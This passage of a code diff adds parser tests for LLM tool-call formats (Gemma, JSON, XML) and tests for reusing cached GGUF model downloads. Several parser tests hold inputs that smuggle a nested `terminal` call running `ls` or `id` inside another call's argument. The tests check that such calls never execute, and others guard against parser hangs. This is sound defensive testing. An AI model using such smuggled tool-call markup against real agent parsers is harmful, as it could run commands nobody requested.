-    # Numbers stay numeric, bare strings get quoted, an explicit quoted comma
-    # stays inside its value.
     assert _args(calls[0]) == {"a": 1, "b": "hello", "c": "x,y"}
 
 
+def test_empty_bare_value_becomes_empty_string_not_dropped():
+    # An empty bare value (``{query:}``) must serialise as ``""`` (``{"query":}`` is invalid JSON and dropped the call).
+    calls = parse_tool_calls_from_text("<|tool_call>call:search{query:,unit:celsius}<tool_call|>")
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"query": "", "unit": "celsius"}
+
+    only = parse_tool_calls_from_text("<|tool_call>call:get{q:}<tool_call|>")
+    assert len(only) == 1, only
+    assert _args(only[0]) == {"q": ""}
+
+
 def test_bare_value_with_timestamps_after_comma_is_kept():
-    # A comma followed by digits-then-colon (a timestamp/ratio) is value text,
-    # not a new key, so the whole query must be preserved as one argument.
+    # A comma before digits-then-colon (timestamp/ratio) is value text, not a key.
     calls = parse_tool_calls_from_text(
         "<|tool_call>call:remind{query:meet at 10:00, 11:00 tomorrow,priority:high}<tool_call|>"
     )
@@ -55,9 +60,16 @@ def test_bare_value_with_timestamps_after_comma_is_kept():
     assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow", "priority": "high"}
 
 
+def test_wrapperless_bare_value_with_timestamps_after_comma_is_kept():
+    # The wrapper-less Gemma form (no <|tool_call> markers) goes through the
+    # _gemma_parse_stripped_body scanner and its _GEMMA_KEY_RE.
+    calls = parse_tool_calls_from_text("call:web_search{query:meet at 10:00, 11:00 tomorrow}")
+    assert len(calls) == 1, calls
+    assert calls[0]["function"]["name"] == "web_search"
+    assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow"}
+
+
 def test_marker_inside_json_argument_is_not_a_second_call():
-    # A python call whose `code` argument contains a Gemma marker string. The
-    # marker is data and must not execute as a second `terminal` call.
     content = (
         '<tool_call>{"name":"python","arguments":{"code":'
         '"x = 1  # <|tool_call>call:terminal{command:ls}<tool_call|>"}}</tool_call>'
@@ -75,8 +87,6 @@ def test_two_separate_gemma_calls_both_parse():
 
 
 def test_mixed_format_calls_preserve_document_order():
-    # A Gemma-native call precedes a JSON-format call in the text; tools execute
-    # in returned order, so `create` must come before `read`.
     content = (
         "<|tool_call>call:create{path:a}<tool_call|> then "
         '<tool_call>{"name":"read","arguments":{"path":"a"}}</tool_call>'
@@ -86,8 +96,6 @@ def test_mixed_format_calls_preserve_document_order():
 
 
 def test_json_marker_inside_gemma_argument_is_not_a_second_call():
-    # The reverse of the JSON-outer case: a JSON-style marker inside a Gemma
-    # call's quoted argument is code text, not a second `terminal` call.
     content = (
         '<|tool_call>call:python{code:<|"|>'
         'print(<tool_call>{"name":"terminal","arguments":{"command":"ls"}}</tool_call>)'
@@ -98,18 +106,14 @@ def test_json_marker_inside_gemma_argument_is_not_a_second_call():
 
 
 def test_nested_gemma_marker_in_unquoted_arg_does_not_run_inner_call():
-    # An UNQUOTED Gemma value containing a literal marker: the outer object fails
-    # to normalize (the inner braces/marker break the JSON), but the inner marker
-    # is nested in the outer candidate span, so it must not be promoted to a
-    # standalone `terminal` call. The safe outcome is no executed tool call.
+    # An UNQUOTED Gemma value containing a literal marker: the marker is nested in the outer
+    # candidate span, so it must not be promoted to a standalone `terminal` call (no tool call).
     content = "<|tool_call>call:python{code:<|tool_call>call:terminal{command:ls}<tool_call|>}<tool_call|>"
     calls = parse_tool_calls_from_text(content)
     assert "terminal" not in [c["function"]["name"] for c in calls], calls
 
 
 def test_bare_string_array_argument_is_quoted():
-    # Gemma may emit an array of bare strings without per-element quotes; they
-    # must be quoted so the call is not dropped.
     calls = parse_tool_calls_from_text("<|tool_call>call:label{labels:[bug,ui]}<tool_call|>")
     assert len(calls) == 1, calls
     assert _args(calls[0]) == {"labels": ["bug", "ui"]}
@@ -123,8 +127,6 @@ def test_array_keeps_numbers_and_quoted_elements():
 
 
 def test_array_of_objects_is_normalised():
-    # Arrays of objects are a common tool-schema shape; their (unquoted) keys and
-    # bare values must be normalised too, not left verbatim, or the call drops.
     calls = parse_tool_calls_from_text(
         "<|tool_call>call:batch{items:[{path:a,mode:r},{path:b,mode:w}]}<tool_call|>"
     )
@@ -138,9 +140,6 @@ def test_nested_array_elements_are_normalised():
 
 
 def test_gemma_marker_inside_xml_parameter_is_not_a_second_call():
-    # An XML-style <function=...> call whose <parameter=code> value contains a
-    # Gemma marker: the marker is the parameter's data, not a separate terminal
-    # call, so only the python call must be returned.
     content = (
         "<tool_call><function=python><parameter=code>"
         "x = 1  # <|tool_call>call:terminal{command:ls}<tool_call|>"
@@ -159,3 +158,254 @@ def test_json_marker_inside_xml_parameter_is_not_a_second_call():
     )
     calls = parse_tool_calls_from_text(content)
     assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_unclosed_think_literal_inside_tool_argument_does_not_hide_later_call():
+    # A literal <think> inside a completed call's arguments is argument data; both calls must parse.
+    text = '[TOOL_CALLS]a{"x":"literal <think> marker"} b[ARGS]{"y":2}'
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["a", "b"], calls
+
+
+def test_real_think_block_with_rehearsal_inside_still_skips_only_the_rehearsal():
+    # A genuine reasoning block still hides its rehearsal while a real call after it parses.
+    text = '<think>web_search[ARGS]{"q":"draft"}</think>real[ARGS]{"q":"go"}'
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["real"], calls
+
+
+def test_wrapperless_nested_object_argument_is_parsed():
+    # skip_special_tokens stream: wrapper and <|"|> markers stripped, so a nested object arrives bare.
+    calls = parse_tool_calls_from_text("call:f{loc:{city:NYC},n:3}")
+    assert len(calls) == 1
+    assert _args(calls[0]) == {"loc": {"city": "NYC"}, "n": 3}
+
+
+def test_wrapperless_array_argument_is_parsed():
+    calls = parse_tool_calls_from_text("call:label{labels:[bug,ui],n:2}")
+    assert len(calls) == 1
+    assert _args(calls[0]) == {"labels": ["bug", "ui"], "n": 2}
+
+
+def test_wrapperless_deeply_nested_object_and_array_are_preserved():
+    # The single-pass parser must keep multi-level nesting (objects inside
+    # objects, arrays inside arrays) intact, not flatten or drop it.
+    calls = parse_tool_calls_from_text(
+        "call:f{loc:{city:NYC,geo:{lat:1,lng:2}},tags:[a,b,[c,d]],n:3}"
+    )
+    assert len(calls) == 1
+    assert _args(calls[0]) == {
+        "loc": {"city": "NYC", "geo": {"lat": 1, "lng": 2}},
+        "tags": ["a", "b", ["c", "d"]],
+        "n": 3,
+    }
+
+
+def test_gemma_parse_array_advances_on_stray_brace():
+    # Regression: a stray '}' / ']' / ',' where an array element is expected must
+    # not stall _gemma_parse_value at the same index (it looped forever before).
+    from core.inference.tool_call_parser import _gemma_parse_array
+
+    items, end, closed = _gemma_parse_array("[a,}]", 0)
+    assert end == 5 and closed is True  # consumed through the closing ']'
+    assert items[0] == "a"
+
+
+def test_gemma_close_marker_inside_quoted_arg_is_not_leaked_when_stripping():
+    # Parse keeps the quoted close marker as data; strip removes the whole span.
+    text = '<|tool_call>call:python{code:<|"|>print("<tool_call|>")<|"|>}<tool_call|>'
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"code": 'print("<tool_call|>")'}
+    assert strip_tool_call_markup("before " + text + " after") == "before  after"
+    assert strip_tool_call_markup("before " + text + " after", final = True) == "before  after"
+
+
+def test_nested_xml_in_malformed_gemma_call_does_not_execute():
+    # The failed Gemma candidate's span still covers its nested <function=>.
+    text = (
+        "<|tool_call>call:outer{code:<function=terminal><parameter=command>id"
+        "</parameter></function></tool_call>, broken:{x}}<tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_unbalanced_gemma_call_with_xml_does_not_execute():
+    # Unclosed braces cover to EOF, so the trailing <function=> is excluded.
+    text = (
+        "<|tool_call>call:outer{code:<function=terminal>"
+        "<parameter=command>id</parameter></function>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_standalone_function_xml_still_parses():
+    text = "<function=terminal><parameter=command>id</parameter></function>"
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["terminal"], calls
+
+
+def test_xml_between_braces_and_close_marker_does_not_execute():
+    # Coverage runs to the close marker, so <function=> in the gap is data.
+    text = (
+        "<|tool_call>call:outer{broken:{x}}<function=terminal>"
+        "<parameter=command>id</parameter></function><tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_balanced_inner_call_inside_unclosed_outer_does_not_execute():
+    text = "<|tool_call>call:outer{code:<|tool_call>call:terminal{command:id}<tool_call|>"
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_strip_preserves_text_after_malformed_gemma_close():
+    # Junk before the close is a malformed span: strip through it, keep the tail.
+    text = "pre <|tool_call>call:t{a:1} note <tool_call|> post"
+    assert strip_tool_call_markup(text) == "pre  post"
+    assert strip_tool_call_markup(text, final = True) == "pre  post"
+
+
+def test_malformed_closed_gemma_span_is_stripped():
+    assert (
+        strip_tool_call_markup('before <|tool_call>{"name":"x"}<tool_call|> after')
+        == "before  after"
+    )
+
+
+def test_valid_call_after_missing_close_is_recovered():
+    # A close-less call covers only its braces, so the later call is recovered.
+    text = "<|tool_call>call:a{x:1} <|tool_call>call:b{y:2}<tool_call|>"
+    names_inc = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = True)
+    ]
+    assert "b" in names_inc, names_inc
+    names_strict = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False)
+    ]
+    assert names_strict == ["b"], names_strict
+
+
+def test_strip_non_final_keeps_incomplete_gemma_block():
+    text = "before <|tool_call>call:t{"
+    assert strip_tool_call_markup(text) == text
+    assert strip_tool_call_markup(text, final = True) == "before"
+
+
+def test_json_call_between_gemma_braces_and_close_does_not_execute():
+    # A JSON call between the outer's braces and its close is covered data.
+    text = (
+        "<|tool_call>call:outer{broken:{x}}"
+        '<tool_call>{"name":"terminal","arguments":{"command":"id"}}</tool_call>'
+        "<tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_gemma_call_between_gemma_braces_and_close_does_not_execute():
+    # Same escape with a Gemma-native inner marker.
+    text = "<|tool_call>call:outer{broken:{x}}<|tool_call>call:terminal{command:id}<tool_call|><tool_call|>"
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_strip_final_keeps_text_after_closed_xml_with_inner_gemma_opener():
+    # The to-EOF Gemma sweep must not eat visible text after </function>.
+    text = (
+        'before <function=python><parameter=code>print("<|tool_call>")</parameter></function> after'
+    )
+    assert strip_tool_call_markup(text, final = True) == "before  after"
+    assert strip_tool_call_markup(text) == "before  after"
+
+
+def test_strip_final_keeps_text_after_closed_block_with_call_form_gemma_opener():
+    # A call-form Gemma opener quoted in a closed block must not truncate it.
+    xml = "<function=python><parameter=code><|tool_call>call:t{</parameter></function>"
+    json_block = (
+        '<tool_call>{"name":"python","arguments":{"code":"<|tool_call>call:t{"}}</tool_call>'
+    )
+    for block in (xml, json_block):
+        text = "before " + block + " after"
+        assert strip_tool_call_markup(text, final = True) == "before  after", block
+        assert strip_tool_call_markup(text) == "before  after", block
+
+
+def test_function_sibling_after_close_less_gemma_marker_is_recovered():
+    # The close-less marker covers only its braces; the XML sibling is recovered.
+    text = (
+        "<|tool_call>call:bad{broken:{x}} "
+        "<function=terminal><parameter=command>id</parameter></function>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert [c["function"]["name"] for c in calls] == ["terminal"], calls
+
+
+def test_valid_call_after_close_less_marker_with_quoted_close_token_is_recovered():
+    # A close token quoted in the later call must not extend the earlier
+    # close-less marker's coverage over that call.
+    gemma = '<|tool_call>call:a{x:1} <|tool_call>call:b{note:<|"|></tool_call><|"|>}<tool_call|>'
+    names = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(gemma, allow_incomplete = False)
+    ]
+    assert names == ["b"], names
+    json_text = (
+        '<tool_call>{"name":"a","arguments":{}} '
+        '<tool_call>{"name":"b","arguments":{"x":"</tool_call>"}}</tool_call>'
+    )
+    names_j = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(json_text, allow_incomplete = False)
+    ]
+    assert "b" in names_j, names_j
+
+
+def test_gemma_parse_value_always_advances_on_stray_delimiter():
+    # A stray delimiter (`,`, `}`, `]`) at the primitive position must still advance the
+    # index by at least one, or a caller looping on it spins forever at 100% CPU (DoS).
+    for delim in (",", "}", "]"):
+        text = delim + "rest"
+        value, nxt, _explicit = _gemma_parse_value(text, 0)
+        assert nxt > 0, (delim, value, nxt)
+
+
+def test_malformed_gemma_array_does_not_hang():
+    # ``[},]`` puts a stray ``}`` at the primitive position inside a list body.
+    # On the buggy parser this hangs the server; guard with a wall-clock timeout
+    # so the regression fails loudly instead of blocking CI forever.
+    import threading
+
+    result: dict = {}
+
+    def _run():
+        result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:[},]}<tool_call|>")
+
+    t = threading.Thread(target = _run, daemon = True)
+    t.start()
+    t.join(timeout = 10.0)
+    assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed array input"
+
+
+def test_malformed_gemma_mapping_value_does_not_hang():
+    # A stray ``}`` where a mapping value is expected must also terminate.
+    import threading
+
+    result: dict = {}
+
+    def _run():
+        result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:}},b:1}<tool_call|>")
+
+    t = threading.Thread(target = _run, daemon = True)
+    t.start()
+    t.join(timeout = 10.0)
+    assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed mapping input"
diff --git a/studio/backend/tests/test_gguf_load_cache_reuse.py b/studio/backend/tests/test_gguf_load_cache_reuse.py
new file mode 100644
index 0000000000..6d1fac980b
--- /dev/null
+++ b/studio/backend/tests/test_gguf_load_cache_reuse.py
@@ -0,0 +1,803 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for cached GGUF reuse and load/download exclusion.
+
+No GPU, network, or subprocesses are required.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import sys
+import threading
+import types as _types
+from pathlib import Path
+from unittest.mock import patch
+
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Stub optional dependencies before importing the modules under test.
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+_structlog_stub = _types.ModuleType("structlog")
+sys.modules.setdefault("structlog", _structlog_stub)
+
+try:
+    import httpx  # noqa: F401
+except ImportError:
+    _httpx_stub = _types.ModuleType("httpx")
+    for _exc_name in (
+        "ConnectError",
+        "TimeoutException",
+        "ReadTimeout",
+        "ReadError",
+        "RemoteProtocolError",
+        "CloseError",
+        "HTTPError",
+        "RequestError",
+        "HTTPStatusError",
+    ):
+        setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {}))
+    _httpx_stub.Response = type("Response", (), {})
+    _httpx_stub.Request = type("Request", (), {})
+
+    class _FakeTimeout:
+        def __init__(self, *a, **kw):
+            pass
+
+    _httpx_stub.Timeout = _FakeTimeout
+    _httpx_stub.Client = type(
+        "Client",
+        (),
+        {
+            "__init__": lambda self, **kw: None,
+            "__enter__": lambda self: self,
+            "__exit__": lambda self, *a: None,
+        },
+    )
+    sys.modules.setdefault("httpx", _httpx_stub)
+
+
+from huggingface_hub import constants as hf_constants
+
+from core.inference.llama_cpp import (
+    LlamaCppBackend,
+    cached_gguf_for_load,
+    gguf_load_in_flight,
+    hf_gguf_load_in_flight,
+)
+
+
+REPO = "unsloth/gemma-test-GGUF"
+VARIANT = "UD-Q4_K_XL"
+MAIN = f"gemma-test-{VARIANT}.gguf"
+
+
+def _build_cache(
+    root: Path,
+    repo_id: str,
+    files: dict[str, int],
+    *,
+    snapshot_sha: str = "a" * 40,
+) -> Path:
+    """Create ``$root/models--<repo>/snapshots/<sha>/<rel>`` for each entry."""
+    repo_dir = root / f"models--{repo_id.replace('/', '--')}"
+    (repo_dir / "blobs").mkdir(parents = True, exist_ok = True)
+    snap = repo_dir / "snapshots" / snapshot_sha
+    snap.mkdir(parents = True, exist_ok = True)
+    for rel, size in files.items():
+        full = snap / rel
+        full.parent.mkdir(parents = True, exist_ok = True)
+        full.write_bytes(b"\0" * size)
+    return snap
+
+
+@pytest.fixture
+def hf_cache(tmp_path, monkeypatch):
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: _types.SimpleNamespace(hub_cache = tmp_path),
+    )
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    return tmp_path
+
+
+def _fail_download(*_args, **_kwargs):
+    raise AssertionError("must reuse the cached GGUF instead of downloading")
+
+
+def _fail_get_paths_info(*_args, **_kwargs):
+    raise AssertionError("cached reuse must return before the sizing preflight")
+
+
+class TestLoadReusesCachedCopy:
+    def test_download_uses_selected_cache_for_lookup_preflight_and_write(
+        self, tmp_path, monkeypatch
+    ):
+        backend = LlamaCppBackend()
+        selected = tmp_path / "selected" / "hub"
+        startup = tmp_path / "startup" / "hub"
+        monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(startup))
+        monkeypatch.setattr(
+            "utils.hf_cache_settings.get_hf_cache_paths",
+            lambda: _types.SimpleNamespace(hub_cache = selected),
+        )
+        seen = {"lookups": [], "disk": [], "downloads": []}
+
+        def cached_lookup(
+            repo_id,
+            filename,
+            *,
+            cache_dir = None,
+            **_kwargs,
+        ):
+            seen["lookups"].append((repo_id, filename, cache_dir))
+            return None
+
+        def disk_usage(path):
+            seen["disk"].append(str(path))
+            return _types.SimpleNamespace(free = 1024)
+
+        def download(repo_id, filename, _token, **kwargs):
+            seen["downloads"].append((repo_id, filename, kwargs.get("cache_dir")))
+            return str(selected / filename)
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch(
+                "huggingface_hub.get_paths_info",
+                lambda _repo, paths, **_kwargs: [
+                    _types.SimpleNamespace(path = path, size = 4) for path in paths
+                ],
+            ),
+            patch("huggingface_hub.try_to_load_from_cache", cached_lookup),
+            patch("core.inference.llama_cpp.shutil.disk_usage", disk_usage),
+            patch(
+                "core.inference.llama_cpp.hf_hub_download_with_xet_fallback",
+                download,
+            ),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(selected / MAIN)
+        assert seen == {
+            "lookups": [(REPO, MAIN, str(selected))],
+            "disk": [str(selected)],
+            "downloads": [(REPO, MAIN, str(selected))],
+        }
+
+    def test_online_reuse_after_revision_bump(self, hf_cache):
+        """A new repo revision does not replace a complete cached model."""
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", _fail_get_paths_info),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / MAIN)
+
+    def test_reuse_size_check_uses_cached_snapshot_revision(self, hf_cache):
+        """Current-revision size changes do not invalidate an older complete copy."""
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+        revisions: list[str | None] = []
+
+        def fake_get_paths_info(
+            _repo,
+            paths,
+            *,
+            revision = None,
+            token = None,
+        ):
+            revisions.append(revision)
+            size = 4 if revision == snap.name else 8
+            return [_types.SimpleNamespace(path = path, size = size) for path in paths]
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / MAIN)
+        assert revisions == [snap.name]
+
+    def test_reuse_when_cached_revision_vanished_from_hub(self, hf_cache):
+        """The Hub answers an unknown revision with an empty result, not an error."""
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", lambda *_a, **_k: []),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / MAIN)
+
+    def test_truncated_cached_file_is_not_reused(self, hf_cache):
+        backend = LlamaCppBackend()
+        _build_cache(hf_cache, REPO, {MAIN: 4})
+        downloaded: list[str] = []
+
+        def fake_get_paths_info(
+            _repo,
+            paths,
+            *,
+            revision = None,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = path, size = 8) for path in paths]
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert downloaded == [MAIN]
+        assert out == f"/fake/{REPO}/{MAIN}"
+
+    def test_truncated_cached_split_shard_is_not_reused(self, hf_cache):
+        backend = LlamaCppBackend()
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00002.gguf"
+        shard2 = f"gemma-test-{VARIANT}-00002-of-00002.gguf"
+        _build_cache(hf_cache, REPO, {shard1: 8, shard2: 4})
+        downloaded: list[str] = []
+
+        def fake_get_paths_info(
+            _repo,
+            paths,
+            *,
+            revision = None,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = path, size = 8) for path in paths]
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert downloaded == [shard1, shard2]
+        assert out == f"/fake/{REPO}/{shard1}"
+
+    def test_online_reuse_when_reupload_renamed_the_file(self, hf_cache):
+        """A renamed variant still reuses its cached file."""
+        backend = LlamaCppBackend()
+        old_name = f"gemma-test-old-{VARIANT}.gguf"
+        snap = _build_cache(hf_cache, REPO, {old_name: 4})
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", _fail_get_paths_info),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / old_name)
+
+    def test_downloads_when_nothing_cached(self, hf_cache):
+        backend = LlamaCppBackend()
+        downloaded: list[str] = []
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 1) for p in paths if p is not None]
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert downloaded == [MAIN]
+        assert out == f"/fake/{REPO}/{MAIN}"
+
+    def test_force_redownloads_despite_cache(self, hf_cache):
+        """A forced download ignores a complete cached copy."""
+        backend = LlamaCppBackend()
+        _build_cache(hf_cache, REPO, {MAIN: 4})
+        downloaded: list[str] = []
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **kwargs,
+        ):
+            assert kwargs.get("force_download") is True
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 1) for p in paths if p is not None]
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT, force = True)
+
+        assert downloaded == [MAIN]
+        assert out == f"/fake/{REPO}/{MAIN}"
+
+    def test_split_reused_only_when_colocated(self, hf_cache):
+        backend = LlamaCppBackend()
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00002.gguf"
+        shard2 = f"gemma-test-{VARIANT}-00002-of-00002.gguf"
+        snap = _build_cache(hf_cache, REPO, {shard1: 4, shard2: 4})
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2]),
+            patch("huggingface_hub.get_paths_info", _fail_get_paths_info),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / shard1)
+
+    def test_partial_split_set_downloads(self, hf_cache):
+        """A partial split set is not reused."""
+        backend = LlamaCppBackend()
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00002.gguf"
+        shard2 = f"gemma-test-{VARIANT}-00002-of-00002.gguf"
+        _build_cache(hf_cache, REPO, {shard1: 4})
+        downloaded: list[str] = []
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p is not None]
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert downloaded == [shard1, shard2]
+        assert out == f"/fake/{REPO}/{shard1}"
+
+    def test_reuse_prefers_newest_snapshot_after_update(self, hf_cache):
+        """Loads prefer the newest complete snapshot."""
+        import os
+
+        backend = LlamaCppBackend()
+        old_snap = _build_cache(hf_cache, REPO, {MAIN: 4}, snapshot_sha = "a" * 40)
+        new_snap = _build_cache(hf_cache, REPO, {MAIN: 6}, snapshot_sha = "b" * 40)
+        os.utime(old_snap, (1_000_000, 1_000_000))
+        os.utime(new_snap, (2_000_000, 2_000_000))
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", _fail_get_paths_info),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(new_snap / MAIN)
+
+    def test_low_disk_fallback_reuses_cached_copy(self, hf_cache):
+        backend = LlamaCppBackend()
+        fallback = "gemma-test-Q2_K.gguf"
+        snap = _build_cache(hf_cache, REPO, {fallback: 4})
+
+        def fake_get_paths_info(
+            _repo,
+            paths,
+            *,
+            revision = None,
+            token = None,
+        ):
+            size = 4 if revision == snap.name else 100
+            return [_types.SimpleNamespace(path = path, size = size) for path in paths]
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
